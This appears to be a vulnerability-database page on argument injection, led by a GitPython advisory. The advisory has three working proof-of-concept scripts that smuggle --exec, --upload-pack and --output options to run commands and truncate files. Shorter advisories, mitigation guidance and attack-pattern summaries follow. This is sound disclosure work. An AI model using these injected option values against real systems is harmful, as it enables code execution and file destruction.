**`Repo.iter_commits(rev)`** and **`Repo.blame(rev, file)`** place the caller\u0027s `rev` value into the argv *before* the `--` end-of-options separator and apply no leading-dash check. A benign-looking ref value such as `--output=/path/to/file` is parsed by `git rev-list` / `git blame` as the `--output` option, which **opens and truncates an arbitrary file** before Git even validates the revision \u2192 arbitrary file clobber (integrity/availability; can destroy keys, configs, lockfiles, or be aimed at files the host later sources).\n\nThe first two are direct code execution; the third is an arbitrary file-overwrite primitive. All share one root cause: the `check_unsafe_options` / end-of-options discipline that GitPython applies to clone/fetch/pull/push was never extended to these sinks.\n\n## Details\n\nGitPython explicitly recognises these options as command-execution vectors. `git/remote.py:535`:\n\n```python\nunsafe_git_fetch_options = [\n # Arbitrary command execution.\n \"--upload-pack\",\n \"--receive-pack\",\n # Arbitrary file overwrite.\n \"--exec\",\n]\n```\n\nand enforces them via `Git.check_unsafe_options()` (`git/cmd.py:963`):\n\n```python\ndef check_unsafe_options(cls, options, unsafe_options):\n ...\n if unsafe_option is not None:\n raise UnsafeOptionError(f\"{unsafe_option} is not allowed, use `allow_unsafe_options=True` to allow it.\")\n```\n\nBut `check_unsafe_options` is invoked from **only five sites**, all network commands:\n\n```\ngit/remote.py:1071 Remote.fetch\ngit/remote.py:1125 Remote.pull\ngit/remote.py:1198 Remote.push\ngit/repo/base.py:1410 / :1412 Repo.clone_from\n```\n\nThe following sinks call `git` with caller-controlled options/positionals and are **not** guarded:\n\n### 1. `Repo.archive` \u2014 command execution (`git/repo/base.py:1623`)\n\n```python\ndef archive(self, ostream, treeish=None, prefix=None, **kwargs):\n ...\n self.git.archive(\"--\", treeish, *path, **kwargs)\n return self\n```\n\n`treeish` and `path` are correctly placed after `--`, but `**kwargs` are converted by `Git.transform_kwarg` (`git/cmd.py:1487`) into `--\u003cname\u003e=\u003cvalue\u003e` flags and inserted **before** the `--` by `_call_process`, with no `check_unsafe_options`. `Repo.archive` already documents user-facing kwargs (`format`, `prefix`, `path`), so forwarding a caller options mapping is an expected usage. Final argv:\n\n```\ngit archive --remote=. --exec=\u003ccmd\u003e -- \u003ctreeish\u003e\n```\n\n`git archive --remote=\u003crepo\u003e` runs the upload-archive helper; `--exec=\u003ccmd\u003e` overrides the helper path, executing `\u003ccmd\u003e` on the host. This works with **default Git config** \u2014 it does not rely on the `ext::` transport (which is blocked by default).\n\n### 2. `repo.git.ls_remote(..., upload_pack=...)` \u2014 command execution (dynamic builder, `git/cmd.py:1487`)\n\n`transform_kwarg` dashifies `upload_pack` \u2192 `--upload-pack=\u003cvalue\u003e`. `git ls-remote \u003clocal-repo\u003e --upload-pack=\u003ccmd\u003e` executes `\u003ccmd\u003e`. The dynamic builder makes **both** the flag name and value caller-controlled (`repo.git.\u003canything\u003e(**user_dict)`), and `ls_remote` has no `check_unsafe_options`.\n\nThis is exactly the underscore-kwarg-vs-hyphen-kwarg gap that CVE-2026-42215 fixed for `fetch`/`pull`/`push`/`clone_from` \u2014 but `ls_remote` and the rest of the dynamic surface were left unpatched.\n\n### 3. `Repo.iter_commits` / `Repo.blame` \u2014 arbitrary file overwrite (`git/objects/commit.py:348`, `git/repo/base.py:1199`)\n\n```python\n# Commit.iter_items (reached via Repo.iter_commits)\nproc = repo.git.rev_list(rev, args_list, as_process=True, **kwargs) # args_list == [\"--\", *paths]\n```\n\n```python\n# Repo.blame\ndata = self.git.blame(rev, *rev_opts, \"--\", file, p=True, stdout_as_string=False, **kwargs)\n```\n\n`rev` is placed **before** `--`, with no leading-dash check anywhere in the path. A caller passing `rev=\"--output=/path\"` (a value that looks like an ordinary ref/branch/tag string an app forwards from user input) produces:\n\n```\ngit rev-list --output=/path --\n```\n\n`git rev-list`/`log`/`blame` honour `--output=\u003cfile\u003e`, which `open()`s and truncates the file *before* validating the revision \u2014 so the file is destroyed even though Git then errors out on the bad revision.\n\n## PoC\n\nAll three PoCs are self-contained, run against the released **GitPython 3.1.50** under **default Git configuration**, and were executed live (git 2.51.0). Each prints a host-side marker proving the effect.\n\n### Install\n\n```bash\npython3 -m venv venv \u0026\u0026 . venv/bin/activate\npip install GitPython # resolves to 3.1.50\npython -c \"import git; print(git.__version__)\" # 3.1.50\n```\n\n### PoC 1 \u2014 command execution via `Repo.archive`\n\n```python\n# archive_rce.py\nimport io, os, tempfile, subprocess, git\n\nd = tempfile.mkdtemp()\nsubprocess.run([\u0027git\u0027,\u0027init\u0027,\u0027-q\u0027,d], check=True)\nsubprocess.run([\u0027git\u0027,\u0027-C\u0027,d,\u0027-c\u0027,\u0027user.email=a@b.c\u0027,\u0027-c\u0027,\u0027user.name=a\u0027,\n \u0027commit\u0027,\u0027-q\u0027,\u0027--allow-empty\u0027,\u0027-m\u0027,\u0027init\u0027], check=True)\nrepo = git.Repo(d)\n\nmarker = os.path.join(tempfile.gettempdir(), \u0027gp_rce_marker\u0027)\nif os.path.exists(marker): os.remove(marker)\n\n# a service lets a user export a repo and forwards their options dict\nopts = {\u0027remote\u0027: \u0027.\u0027, \u0027exec\u0027: \u0027touch \u0027 + marker}\ntry:\n repo.archive(io.BytesIO(), **opts)\nexcept git.exc.GitCommandError as e:\n print(\u0027[*] git exited non-zero (expected), but the exec already ran:\u0027, str(e).splitlines()[0][:60])\n\nprint(\u0027[+] marker present:\u0027, os.path.exists(marker))\n```\n\nVerbatim output:\n\n```\n[*] git exited non-zero (expected), but the exec already ran: Cmd(\u0027git\u0027) failed due to: exit code(128)\n[+] marker present: True\n```\n\n`git config --get protocol.ext.allow` returns nothing (unset = default), confirming no special config is required.\n\n### PoC 2 \u2014 command execution via `git.ls_remote(upload_pack=...)`\n\n```python\n# lsremote_rce.py\nimport os, tempfile, subprocess, git\nd = tempfile.mkdtemp()\nsubprocess.run([\u0027git\u0027,\u0027init\u0027,\u0027-q\u0027,d], check=True)\nsubprocess.run([\u0027git\u0027,\u0027-C\u0027,d,\u0027-c\u0027,\u0027user.email=a@b.c\u0027,\u0027-c\u0027,\u0027user.name=a\u0027,\u0027commit\u0027,\u0027-q\u0027,\u0027--allow-empty\u0027,\u0027-m\u0027,\u0027init\u0027], check=True)\nrepo = git.Repo(d)\nmarker = os.path.join(tempfile.gettempdir(),\u0027gp_lsr_marker\u0027)\nif os.path.exists(marker): os.remove(marker)\ntry:\n repo.git.ls_remote(\u0027.\u0027, upload_pack=\u0027touch \u0027+marker+\u0027;\u0027)\nexcept git.exc.GitCommandError as e:\n print(\u0027[*] git err:\u0027, str(e).splitlines()[0][:50])\nprint(\u0027[+] ls-remote marker present:\u0027, os.path.exists(marker))\n```\n\nVerbatim output:\n\n```\n[*] git err: Cmd(\u0027git\u0027) failed due to: exit code(128)\n[+] ls-remote marker present: True\n```\n\n### PoC 3 \u2014 arbitrary file overwrite via a benign-looking `rev`\n\n```python\n# itercommits_filewrite.py\nimport os, tempfile, subprocess, git\nd = tempfile.mkdtemp()\nsubprocess.run([\u0027git\u0027,\u0027init\u0027,\u0027-q\u0027,d], check=True)\nsubprocess.run([\u0027git\u0027,\u0027-C\u0027,d,\u0027-c\u0027,\u0027user.email=a@b.c\u0027,\u0027-c\u0027,\u0027user.name=a\u0027,\u0027commit\u0027,\u0027-q\u0027,\u0027--allow-empty\u0027,\u0027-m\u0027,\u0027init\u0027], check=True)\nrepo = git.Repo(d)\nvictim = os.path.join(tempfile.gettempdir(),\u0027gp_fw_victim\u0027)\nopen(victim,\u0027w\u0027).write(\u0027do not delete\\n\u0027)\nprint(\u0027[*] before:\u0027, repr(open(victim).read()))\nuser_ref = \u0027--output=\u0027 + victim # value an app forwards as a \"ref/branch\"\ntry:\n list(repo.iter_commits(user_ref))\nexcept git.exc.GitCommandError as e:\n print(\u0027[*] git err (after open+truncate):\u0027, str(e).splitlines()[0][:50])\nprint(\u0027[+] after :\u0027, repr(open(victim).read()), \u0027\u003c- truncated\u0027)\n```\n\nVerbatim output:\n\n```\n[*] before: \u0027do not delete\\n\u0027\n[*] git err (after open+truncate): Cmd(\u0027git\u0027) failed due to: exit code(129)\n[+] after : \u0027\u0027 \u003c- truncated\n```",
"id": "GHSA-956x-8gvw-wg5v",
"modified": "2026-07-21T20:10:06Z",
"published": "2026-07-21T20:10:06Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-956x-8gvw-wg5v"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/pull/2163"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/commit/701ce32fe5ba8cb622c0e0342a376a6beb47d738"
},
{
"type": "PACKAGE",
"url": "https://github.com/gitpython-developers/GitPython"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.51"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "GitPython: command injection via unguarded Git options in `Repo.archive()`, `git.ls_remote()`, and arbitrary file overwrite via `Repo.iter_commits()` / `Repo.blame()`"
}
GHSA-95JV-R6J9-P8XR
Vulnerability from github – Published: 2022-05-24 19:14 – Updated: 2022-05-24 19:14The Device42 Main Appliance before 17.05.01 does not sanitize user input in its Nmap Discovery utility. An attacker (with permissions to add or edit jobs run by this utility) can inject an extra argument to overwrite arbitrary files as the root user on the Remote Collector.
{
"affected": [],
"aliases": [
"CVE-2021-41316"
],
"database_specific": {
"cwe_ids": [
"CWE-88"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-09-17T15:15:00Z",
"severity": "HIGH"
},
"details": "The Device42 Main Appliance before 17.05.01 does not sanitize user input in its Nmap Discovery utility. An attacker (with permissions to add or edit jobs run by this utility) can inject an extra argument to overwrite arbitrary files as the root user on the Remote Collector.",
"id": "GHSA-95jv-r6j9-p8xr",
"modified": "2022-05-24T19:14:58Z",
"published": "2022-05-24T19:14:58Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-41316"
},
{
"type": "WEB",
"url": "https://blog.device42.com/2021/09/critical-fixes-in-17-05-01"
},
{
"type": "WEB",
"url": "https://docs.device42.com/auto-discovery/nmap-autodiscovery"
},
{
"type": "WEB",
"url": "https://docs.device42.com/auto-discovery/remote-collector-rc"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-95VJ-G5CR-7J53
Vulnerability from github – Published: 2022-05-13 01:22 – Updated: 2022-05-13 01:22mIRC before 7.55 allows remote command execution by using argument injection through custom URI protocol handlers. The attacker can specify an irc:// URI that loads an arbitrary .ini file from a UNC share pathname. Exploitation depends on browser-specific URI handling (Chrome is not exploitable).
{
"affected": [],
"aliases": [
"CVE-2019-6453"
],
"database_specific": {
"cwe_ids": [
"CWE-88"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-02-18T15:29:00Z",
"severity": "HIGH"
},
"details": "mIRC before 7.55 allows remote command execution by using argument injection through custom URI protocol handlers. The attacker can specify an irc:// URI that loads an arbitrary .ini file from a UNC share pathname. Exploitation depends on browser-specific URI handling (Chrome is not exploitable).",
"id": "GHSA-95vj-g5cr-7j53",
"modified": "2022-05-13T01:22:42Z",
"published": "2022-05-13T01:22:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-6453"
},
{
"type": "WEB",
"url": "https://github.com/proofofcalc/cve-2019-6453-poc"
},
{
"type": "WEB",
"url": "https://proofofcalc.com/advisories/20190218.txt"
},
{
"type": "WEB",
"url": "https://proofofcalc.com/cve-2019-6453-mIRC"
},
{
"type": "WEB",
"url": "https://twitter.com/proofofcalc/status/1097518413143003136"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/46392"
},
{
"type": "WEB",
"url": "https://www.mirc.com/news.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-96C9-2V9P-9CHW
Vulnerability from github – Published: 2024-01-17 18:31 – Updated: 2024-01-17 18:31A vulnerability in the application CLI of Cisco Prime Infrastructure and Cisco Evolved Programmable Network Manager could allow an authenticated, local attacker to gain escalated privileges. This vulnerability is due to improper processing of command line arguments to application scripts. An attacker could exploit this vulnerability by issuing a command on the CLI with malicious options. A successful exploit could allow the attacker to gain the escalated privileges of the root user on the underlying operating system.
{
"affected": [],
"aliases": [
"CVE-2023-20260"
],
"database_specific": {
"cwe_ids": [
"CWE-284",
"CWE-88"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-01-17T17:15:10Z",
"severity": "MODERATE"
},
"details": "A vulnerability in the application CLI of Cisco Prime Infrastructure and Cisco Evolved Programmable Network Manager could allow an authenticated, local attacker to gain escalated privileges. This vulnerability is due to improper processing of command line arguments to application scripts. An attacker could exploit this vulnerability by issuing a command on the CLI with malicious options. A successful exploit could allow the attacker to gain the escalated privileges of the root user on the underlying operating system.",
"id": "GHSA-96c9-2v9p-9chw",
"modified": "2024-01-17T18:31:38Z",
"published": "2024-01-17T18:31:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-20260"
},
{
"type": "WEB",
"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-pi-epnm-wkZJeyeq"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-9766-V29C-4VM7
Vulnerability from github – Published: 2023-06-27 12:30 – Updated: 2023-07-06 16:02Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') vulnerability in Apache Software Foundation Apache Airflow ODBC Provider. In OdbcHook, A privilege escalation vulnerability exists in a system due to controllable ODBC driver parameters that allow the loading of arbitrary dynamic-link libraries, resulting in command execution. Starting version 4.0.0 driver can be set only from the hook constructor. This issue affects Apache Airflow ODBC Provider: before 4.0.0.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "apache-airflow-providers-odbc"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-34395"
],
"database_specific": {
"cwe_ids": [
"CWE-88"
],
"github_reviewed": true,
"github_reviewed_at": "2023-06-30T20:26:04Z",
"nvd_published_at": "2023-06-27T12:15:13Z",
"severity": "HIGH"
},
"details": "Improper Neutralization of Argument Delimiters in a Command (\u0027Argument Injection\u0027) vulnerability in Apache Software Foundation Apache Airflow ODBC Provider.\nIn OdbcHook, A privilege escalation vulnerability exists in a system due to controllable ODBC driver parameters that allow the loading of arbitrary dynamic-link libraries, resulting in command execution.\nStarting version 4.0.0 driver can be set only from the hook constructor.\nThis issue affects Apache Airflow ODBC Provider: before 4.0.0.\n\n",
"id": "GHSA-9766-v29c-4vm7",
"modified": "2023-07-06T16:02:24Z",
"published": "2023-06-27T12:30:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-34395"
},
{
"type": "WEB",
"url": "https://github.com/apache/airflow/pull/31713"
},
{
"type": "WEB",
"url": "https://github.com/apache/airflow/commit/2844dad1c762f5c7dd1271866d3661bf66657300"
},
{
"type": "PACKAGE",
"url": "https://github.com/apache/airflow"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/l26yykftzbhc9tgcph8cso88bc2lqwwd"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Apache Airflow ODBC Provider Argument Injection vulnerability"
}
Mitigation
Strategy: Parameterization
Where possible, avoid building a single string that contains the command and its arguments. Some languages or frameworks have functions that support specifying independent arguments, e.g. as an array, which is used to automatically perform the appropriate quoting or escaping while building the command. For example, in PHP, escapeshellarg() can be used to escape a single argument to system(), or exec() can be called with an array of arguments. In C, code can often be refactored from using system() - which accepts a single string - to using exec(), which requires separate function arguments for each parameter.
Mitigation
Strategy: Input Validation
Understand all the potential areas where untrusted inputs can enter your product: parameters or arguments, cookies, anything read from the network, environment variables, request headers as well as content, URL components, e-mail, files, databases, and any external systems that provide data to the application. Perform input validation at well-defined interfaces.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation
Directly convert your input type into the expected data type, such as using a conversion function that translates a string into a number. After converting to the expected data type, ensure that the input's values fall within the expected range of allowable values and that multi-field consistencies are maintained.
Mitigation
- Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180, CWE-181). Make sure that your application does not inadvertently decode the same input twice (CWE-174). Such errors could be used to bypass allowlist schemes by introducing dangerous inputs after they have been checked. Use libraries such as the OWASP ESAPI Canonicalization control.
- Consider performing repeated canonicalization until your input does not change any more. This will avoid double-decoding and similar scenarios, but it might inadvertently modify inputs that are allowed to contain properly-encoded dangerous content.
Mitigation
When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.
Mitigation
When your application combines data from multiple sources, perform the validation after the sources have been combined. The individual data elements may pass the validation step but violate the intended restrictions after they have been combined.
Mitigation
Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
CAPEC-137: Parameter Injection
An adversary manipulates the content of request parameters for the purpose of undermining the security of the target. Some parameter encodings use text characters as separators. For example, parameters in a HTTP GET message are encoded as name-value pairs separated by an ampersand (&). If an attacker can supply text strings that are used to fill in these parameters, then they can inject special characters used in the encoding scheme to add or modify parameters. For example, if user input is fed directly into an HTTP GET request and the user provides the value "myInput&new_param=myValue", then the input parameter is set to myInput, but a new parameter (new_param) is also added with a value of myValue. This can significantly change the meaning of the query that is processed by the server. Any encoding scheme where parameters are identified and separated by text characters is potentially vulnerable to this attack - the HTTP GET encoding used above is just one example.
CAPEC-174: Flash Parameter Injection
An adversary takes advantage of improper data validation to inject malicious global parameters into a Flash file embedded within an HTML document. Flash files can leverage user-submitted data to configure the Flash document and access the embedding HTML document.
CAPEC-41: Using Meta-characters in E-mail Headers to Inject Malicious Payloads
This type of attack involves an attacker leveraging meta-characters in email headers to inject improper behavior into email programs. Email software has become increasingly sophisticated and feature-rich. In addition, email applications are ubiquitous and connected directly to the Web making them ideal targets to launch and propagate attacks. As the user demand for new functionality in email applications grows, they become more like browsers with complex rendering and plug in routines. As more email functionality is included and abstracted from the user, this creates opportunities for attackers. Virtually all email applications do not list email header information by default, however the email header contains valuable attacker vectors for the attacker to exploit particularly if the behavior of the email client application is known. Meta-characters are hidden from the user, but can contain scripts, enumerations, probes, and other attacks against the user's system.
CAPEC-460: HTTP Parameter Pollution (HPP)
An adversary adds duplicate HTTP GET/POST parameters by injecting query string delimiters. Via HPP it may be possible to override existing hardcoded HTTP parameters, modify the application behaviors, access and, potentially exploit, uncontrollable variables, and bypass input validation checkpoints and WAF rules.
CAPEC-88: OS Command Injection
In this type of an attack, an adversary injects operating system commands into existing application functions. An application that uses untrusted input to build command strings is vulnerable. An adversary can leverage OS command injection in an application to elevate privileges, execute arbitrary commands and compromise the underlying operating system.